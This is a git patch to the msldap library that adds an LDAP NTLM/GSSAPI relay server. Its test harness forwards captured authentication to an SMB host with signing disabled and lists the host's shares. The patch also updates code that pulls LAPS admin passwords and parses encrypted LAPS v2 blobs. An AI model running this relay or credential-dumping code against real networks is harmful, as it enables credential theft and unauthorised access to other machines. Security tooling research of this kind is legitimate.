From 51c7bd0303910d37f54c66ef37dca2353597ab76 Mon Sep 17 00:00:00 2001 From: Skelsec Date: Thu, 18 May 2023 10:27:22 +0200 Subject: [PATCH] relayserver, lapsv2 started --- msldap/client.py | 10 +- msldap/examples/msldapclient.py | 32 ++++--- msldap/protocol/typeconversion.py | 14 +-- msldap/relay/__init__.py | 0 msldap/relay/server.py | 89 ++++++++++++++++++ msldap/relay/serverconnection.py | 148 ++++++++++++++++++++++++++++++ msldap/wintypes/encryptedlaps.py | 85 +++++++++++++++++ parsetest.py | 7 ++ 8 files changed, 361 insertions(+), 24 deletions(-) create mode 100644 msldap/relay/__init__.py create mode 100644 msldap/relay/server.py create mode 100644 msldap/relay/serverconnection.py create mode 100644 msldap/wintypes/encryptedlaps.py create mode 100644 parsetest.py diff --git a/msldap/client.py b/msldap/client.py index 6c03371..71a3034 100644 --- a/msldap/client.py +++ b/msldap/client.py @@ -311,27 +311,27 @@ async def get_all_laps_windows(self): ldap_filter = r'(sAMAccountType=805306369)' # first try to get the plaintext password (the new windows laps doesn't necessary encrypt the PWs) - attributes = ['cn','ms-LAPS-Password'] + attributes = ['cn','msLAPS-Password'] async for entry, err in self.pagedsearch(ldap_filter, attributes): yield entry, err # now try to get the encrypted password - attributes = ['cn','ms-LAPS-EncryptedPassword'] + attributes = ['cn','msLAPS-EncryptedPassword'] async for entry, err in self.pagedsearch(ldap_filter, attributes): yield entry, err # now try to get the encrypted password history - attributes = ['cn','ms-LAPS-EncryptedPasswordHistory'] + attributes = ['cn','msLAPS-EncryptedPasswordHistory'] async for entry, err in self.pagedsearch(ldap_filter, attributes): yield entry, err # now try to get the encrypted DSRM password - attributes = ['cn','ms-LAPS-EncryptedDSRMPassword'] + attributes = ['cn','msLAPS-EncryptedDSRMPassword'] async for entry, err in self.pagedsearch(ldap_filter, attributes): yield entry, err # now try to get the encrypted DSRM password history - attributes = ['cn','ms-LAPS-EncryptedDSRMPasswordHistory'] + attributes = ['cn','msLAPS-EncryptedDSRMPasswordHistory'] async for entry, err in self.pagedsearch(ldap_filter, attributes): yield entry, err diff --git a/msldap/examples/msldapclient.py b/msldap/examples/msldapclient.py index 76e3279..6fffdf3 100644 --- a/msldap/examples/msldapclient.py +++ b/msldap/examples/msldapclient.py @@ -547,24 +547,32 @@ async def do_laps(self): if err is not None: raise err - if 'ms-LAPS-Password' in entry['attributes']: - pwd = entry['attributes']['ms-LAPS-Password'] + if 'msLAPS-Password' in entry['attributes']: + pwd = entry['attributes']['msLAPS-Password'] print('%s : %s' % (entry['attributes']['cn'], pwd)) - if 'ms-LAPS-EncryptedPassword' in entry['attributes']: - pwd = entry['attributes']['ms-LAPS-EncryptedPassword'] - print('%s : %s' % (entry['attributes']['cn'], pwd)) - - if 'ms-LAPS-EncryptedPasswordHistory' in entry['attributes']: - pwd = entry['attributes']['ms-LAPS-EncryptedPasswordHistory'] + + if 'msLAPS-EncryptedPassword' in entry['attributes']: + from msldap.wintypes.encryptedlaps import EncryptedLAPSBlob + pwd = entry['attributes']['msLAPS-EncryptedPassword'] + print('%s : %s' % (entry['attributes']['cn'], pwd.hex())) + blob = EncryptedLAPSBlob.from_bytes(pwd) + #print(str(blob)) + #print(blob.asn1blob.native) + #print(blob.asn1blob.native['content']['recipient_infos']) + #print(blob.asn1blob.native['content']['recipient_infos'][0]['kekid']['key_identifier']) + print(blob.get_keyidentifier()) + + if 'msLAPS-EncryptedPasswordHistory' in entry['attributes']: + pwd = entry['attributes']['msLAPS-EncryptedPasswordHistory'] print('%s : %s' % (entry['attributes']['cn'], pwd)) - if 'ms-LAPS-EncryptedDSRMPassword' in entry['attributes']: - pwd = entry['attributes']['ms-LAPS-EncryptedDSRMPassword'] + if 'msLAPS-EncryptedDSRMPassword' in entry['attributes']: + pwd = entry['attributes']['msLAPS-EncryptedDSRMPassword'] print('%s : %s' % (entry['attributes']['cn'], pwd)) - if 'ms-LAPS-EncryptedDSRMPasswordHistory' in entry['attributes']: - pwd = entry['attributes']['ms-LAPS-EncryptedDSRMPasswordHistory'] + if 'msLAPS-EncryptedDSRMPasswordHistory' in entry['attributes']: + pwd = entry['attributes']['msLAPS-EncryptedDSRMPasswordHistory'] print('%s : %s' % (entry['attributes']['cn'], pwd)) return True diff --git a/msldap/protocol/typeconversion.py b/msldap/protocol/typeconversion.py index db23d39..922716f 100644 --- a/msldap/protocol/typeconversion.py +++ b/msldap/protocol/typeconversion.py @@ -347,14 +347,14 @@ def multi_sd(x, encode=False): 'securityIdentifier' : single_bytes, 'unicodePwd' : single_str, 'ms-Mcs-AdmPwd' : single_str, - 'ms-LAPS-EncryptedPassword': single_bytes, - 'ms-LAPS-EncryptedPasswordHistory': multi_bytes, - 'ms-LAPS-EncryptedDSRMPassword': single_bytes, - 'ms-LAPS-EncryptedDSRMPasswordHistory': multi_bytes, - 'ms-LAPS-Password': single_str, - 'ms-LAPS-PasswordExpirationTime': single_interval, + 'msLAPS-EncryptedPassword': single_bytes, + 'msLAPS-EncryptedPasswordHistory': multi_bytes, + 'msLAPS-EncryptedDSRMPassword': single_bytes, + 'msLAPS-EncryptedDSRMPasswordHistory': multi_bytes, + 'msLAPS-Password': single_str, + 'msLAPS-PasswordExpirationTime': single_interval, 'msDS-AllowedToActOnBehalfOfOtherIdentity': single_bytes, - 'ms-LAPS-Encrypted-Password-Attributes': single_bytes, + 'msLAPS-Encrypted-Password-Attributes': single_bytes, 'cACertificate': single_bytes, 'certificateTemplates': multi_str, 'cACertificateDN': single_str, diff --git a/msldap/relay/__init__.py b/msldap/relay/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/msldap/relay/server.py b/msldap/relay/server.py new file mode 100644 index 0000000..46fc797 --- /dev/null +++ b/msldap/relay/server.py @@ -0,0 +1,89 @@ +from asysocks.unicomm.common.target import UniTarget, UniProto +from asysocks.unicomm.server import UniServer +from msldap.network.packetizer import LDAPPacketizer +from msldap.relay.serverconnection import LDAPRelayServerConnection +from asyauth.protocols.spnego.relay.native import spnegorelay_ntlm_factory +from asyauth.protocols.ntlm.relay.native import NTLMRelaySettings, ntlmrelay_factory +import traceback +import asyncio + +class LDAPServerSettings: + def __init__(self, gssapi_factory): + self.gssapi_factory = gssapi_factory + + @property + def gssapi(self): + return self.gssapi_factory() + +class LDAPRelayServer: + def __init__(self, target, settings): + self.target = target + self.settings = settings + self.server = None + self.serving_task = None + self.connections = {} + self.conn_ctr = 0 + + def get_ctr(self): + self.conn_ctr += 1 + return self.conn_ctr + + async def __handle_connection(self): + try: + async for connection in self.server.serve(): + print('connection in!') + + smbconnection = LDAPRelayServerConnection(self.settings, connection) + self.connections[self.get_ctr()] = smbconnection + x = asyncio.create_task(smbconnection.run()) + + except Exception as e: + traceback.print_exc() + return + + async def run(self): + self.server = UniServer(self.target, LDAPPacketizer()) + self.serving_task = asyncio.create_task(self.__handle_connection()) + return self.serving_task + +async def test_relay_queue(rq): + try: + from aiosmb.connection import SMBConnection + from aiosmb.commons.connection.target import SMBTarget + from aiosmb.commons.interfaces.machine import SMBMachine + test_target = SMBTarget('10.10.10.2') + while True: + item = await rq.get() + print(item) + connection = SMBConnection(item, test_target, preserve_gssapi=False, nosign=True) + _, err = await connection.login() + if err is not None: + print('SMB client login err: %s' % err) + print(traceback.format_tb(err.__traceback__)) + continue + machine = SMBMachine(connection) + async for share, err in machine.list_shares(): + if err is not None: + print('SMB client list_shares err: %s' % err) + continue + print(share) + + except Exception as e: + traceback.print_exc() + return + +async def amain(): + try: + auth_relay_queue = asyncio.Queue() + x = asyncio.create_task(test_relay_queue(auth_relay_queue)) + target = UniTarget('0.0.0.0', 636, UniProto.SERVER_SSL_TCP) + + settings = LDAPServerSettings(lambda: spnegorelay_ntlm_factory(auth_relay_queue, lambda: ntlmrelay_factory())) + server = LDAPRelayServer(target, settings) + server_task = await server.run() + await server_task + except Exception as e: + traceback.print_exc() + return +if __name__ == '__main__': + asyncio.run(amain()) \ No newline at end of file diff --git a/msldap/relay/serverconnection.py b/msldap/relay/serverconnection.py new file mode 100644 index 0000000..218bc43 --- /dev/null +++ b/msldap/relay/serverconnection.py @@ -0,0 +1,148 @@ +from msldap.protocol.utils import calcualte_length +from msldap.protocol.messages import LDAPMessage, AuthenticationChoice, protocolOp, BindResponse +from msldap import logger +import traceback +import asyncio + +class LDAPRelayServerConnection: + def __init__(self, settings, connection): + self.settings = settings + self.gssapi = settings.gssapi + self.ntlm = self.gssapi.authentication_contexts['NTLMSSP - Microsoft NTLM Security Support Provider'] + self.connection = connection + self.__auth_type = None + self.__auth_iter = 0 + + async def log_async(self, level, msg): + if self.settings.log_q is not None: + src = 'LDAPCON-%s:%s' % (self.client_ip, self.client_port) + await self.settings.log_q.put((src, level, msg)) + else: + logger.log(level, msg) + + async def terminate(self): + self.handle_in_task.cancel() + + async def __handle_ldap_in(self): + async for msg_data in self.connection.read(): + try: + msg = LDAPMessage.load(msg_data) + if msg['protocolOp']._choice == 0: + await self.__bindreq(msg) + else: + raise Exception('Unknown LDAP message! %s' % msg.native) + + except Exception as e: + await self.log_async(1, str(e)) + return + + async def __bindreq(self, msg): + try: + msg_id = msg.native['messageID'] + authdata_raw = msg.native['protocolOp']['authentication'] + if isinstance(authdata_raw, bytes) is True: + self.__auth_type = 'NTLM' + if self.__auth_iter == 0: + t = { + 'resultCode' : 0, + 'matchedDN' : 'NTLM'.encode(), + 'diagnosticMessage' : b'', + } + po = {'bindResponse' : BindResponse(t)} + b= { + 'messageID' : msg_id, + 'protocolOp' : protocolOp(po), + } + resp = LDAPMessage(b) + await self.connection.write(resp.dump()) + self.__auth_iter += 1 + return + + else: + resdata, to_conitnue, err = await self.ntlm.authenticate_relay_server(authdata_raw) + if err is not None: + raise err + + if resdata is None: + t = { + 'resultCode' : 49, + 'matchedDN' : b'', + 'diagnosticMessage' : b'8009030C: LdapErr: DSID-0C090569, comment: AcceptSecurityContext error, data 52e, v4563\x00', + } + po = {'bindResponse' : BindResponse(t)} + b= { + 'messageID' : msg_id, + 'protocolOp' : protocolOp(po), + } + resp = LDAPMessage(b) + + await self.connection.write(resp.dump()) + + await self.terminate() + return + + t = { + 'resultCode' : 0, + 'matchedDN' : resdata, + 'diagnosticMessage' : b'', + } + po = {'bindResponse' : BindResponse(t)} + b= { + 'messageID' : msg_id, + 'protocolOp' : protocolOp(po), + } + resp = LDAPMessage(b) + await self.connection.write(resp.dump()) + self.__auth_iter += 1 + return + + if isinstance(authdata_raw, dict) is True: + self.__auth_type = 'GSSAPI' + resdata, to_conitnue, err = await self.gssapi.authenticate_relay_server(authdata_raw['credentials']) + if err is not None: + raise err + + if resdata is None: + t = { + 'resultCode' : 49, + 'matchedDN' : b'', + 'diagnosticMessage' : b'8009030C: LdapErr: DSID-0C090569, comment: AcceptSecurityContext error, data 52e, v4563\x00', + } + po = {'bindResponse' : BindResponse(t)} + b= { + 'messageID' : msg_id, + 'protocolOp' : protocolOp(po), + } + resp = LDAPMessage(b) + + await self.connection.write(resp.dump()) + + await self.terminate() + return + + t = { + 'resultCode' : 14, + 'matchedDN' : b'', + 'diagnosticMessage' : b'', + 'serverSaslCreds': resdata + } + po = {'bindResponse' : BindResponse(t)} + b= { + 'messageID' : msg_id, + 'protocolOp' : protocolOp(po), + } + resp = LDAPMessage(b) + await self.connection.write(resp.dump()) + self.__auth_iter += 1 + + else: + raise Exception('Unknown auth method %s' % authdata_raw) + + + except Exception as e: + traceback.print_exc() + return + + async def run(self): + self.handle_in_task = asyncio.create_task(self.__handle_ldap_in()) + await self.handle_in_task \ No newline at end of file diff --git a/msldap/wintypes/encryptedlaps.py b/msldap/wintypes/encryptedlaps.py new file mode 100644 index 0000000..c1694dc --- /dev/null +++ b/msldap/wintypes/encryptedlaps.py @@ -0,0 +1,85 @@ +import io +import enum +from asn1crypto.cms import ContentInfo + +class EncryptedLAPSBlob: + def __init__(self): + self.update_timestamp: int + self.flags: int + self.blob: bytes + self.asn1blob: ContentInfo + + def get_keyidentifier(self): + sid = self.asn1blob.native['content']['recipient_infos'][0]['kekid']['other']['key_attr']['1']['0']['0']['1'] + print(sid) + return LAPS_KEYIDENTIFIER.from_bytes(self.asn1blob.native['content']['recipient_infos'][0]['kekid']['key_identifier']) + + def from_bytes(data: bytes): + return EncryptedLAPSBlob.from_buffer(io.BytesIO(data)) + + def from_buffer(buff: io.BytesIO): + blob = EncryptedLAPSBlob() + blob.update_timestamp = int.from_bytes(buff.read(8), byteorder='little', signed=False) + blob_length = int.from_bytes(buff.read(4), byteorder='little', signed=False) + blob.flags = int.from_bytes(buff.read(4), byteorder='little', signed=False) + blob.blob = buff.read(blob_length) + blob.asn1blob = ContentInfo.load(blob.blob) + return blob + + def __str__(self): + t = '' + for k in self.__dict__: + t += '%s: %s\n' % (k, self.__dict__[k]) + return t + +class KEYIDFLAGS(enum.IntFlag): + DHPARAMS = 1 + UNKNOWN = 2 + + +class LAPS_KEYIDENTIFIER: + def __init__(self): + self.version = None + self.magic = None + self.flags = None + self.l0_index = None + self.l1_index = None + self.l2_index = None + self.root_key_identifier = None + self.unknown_length = None + self.domain_length = None + self.forest_length = None + self.unknown = None + self.domain = None + self.forest = None + + @staticmethod + def from_bytes(data:bytes): + return LAPS_KEYIDENTIFIER.from_buffer(io.BytesIO(data)) + + @staticmethod + def from_buffer(buff:io.BytesIO): + blob = LAPS_KEYIDENTIFIER() + blob.version = int.from_bytes(buff.read(4), byteorder='little', signed=False) + blob.magic = buff.read(4) + blob.flags = KEYIDFLAGS(int.from_bytes(buff.read(4), byteorder='little', signed=False)) + blob.l0_index = int.from_bytes(buff.read(4), byteorder='little', signed=False) + blob.l1_index = int.from_bytes(buff.read(4), byteorder='little', signed=False) + blob.l2_index = int.from_bytes(buff.read(4), byteorder='little', signed=False) + blob.root_key_identifier = buff.read(16) + blob.unknown_length = int.from_bytes(buff.read(4), byteorder='little', signed=False) + blob.domain_length = int.from_bytes(buff.read(4), byteorder='little', signed=False) + blob.forest_length = int.from_bytes(buff.read(4), byteorder='little', signed=False) + blob.unknown = buff.read(blob.unknown_length) + blob.domain = buff.read(blob.domain_length) + blob.forest = buff.read(blob.forest_length) + return blob + + def __str__(self): + t = '' + for k in self.__dict__: + if isinstance(self.__dict__[k], bytes): + t += '%s: %s\n' % (k, self.__dict__[k].hex()) + else: + t += '%s: %s\n' % (k, self.__dict__[k]) + return t \ No newline at end of file diff --git a/parsetest.py b/parsetest.py new file mode 100644 index 0000000..bfb4b91 --- /dev/null +++ b/parsetest.py @@ -0,0 +1,7 @@ + +from msldap.wintypes.encryptedlaps import EncryptedLAPSBlob +from msldap.wintypes.encryptedlaps import LAPS_KEYIDENTIFIER + +data = bytes.fromhex('6671D901E7F89911FA010000000000003082016406092A864886F70D010703A0820155308201510201023182011DA28201190201043081DC048184010000004B44534B02000000690100000F0000001D000000A84FC6BA90E87C91109083E7B0F8599620000000180000001800000016B3FA1BFC1066B30B63B29A2D29F31D82FB5AE3CC05F86ECB67EFAC69F2CE5564006F006D00610069006E002E007400650073007400000064006F006D00610069006E002E0074006500730074000000305306092B0601040182374A013046060A2B0601040182374A01013038303630340C035349440C2D532D312D352D32312D343135313830383739372D333433303536313039322D323834333436343538382D353132300B060960864801650304012D0428A692356A7A5F64B5ED8D32E466A798C0DF693F2B0407041FAC974EC6D6765ACAE4C69524CA62D276302B06092A864886F70D010701301E060960864801650304012E3011040C25D25F698D43B50A79F85B37020110EC7E7E80247A4607781E6184108BCCC5C81241D8685F1F42D13C9B39C2BCA41C60C7A4CB08F517BDC9780E1315D7A49EFD7519E11263855AC1CFA4D5226E2FE22D729AC4CA19D2D5140FA3B66D969E56EC17F4E273E7E93A250FEC14DC7E8F6E4631FFD1D5E6E75ED9430E001EAF0D873E008BBB2DD3BFC75984F5DD88A9748972EBB6450E95BE11EDDA36F74753874B89EF') +blob = EncryptedLAPSBlob.from_bytes(data) +print(blob.get_keyidentifier()) \ No newline at end of file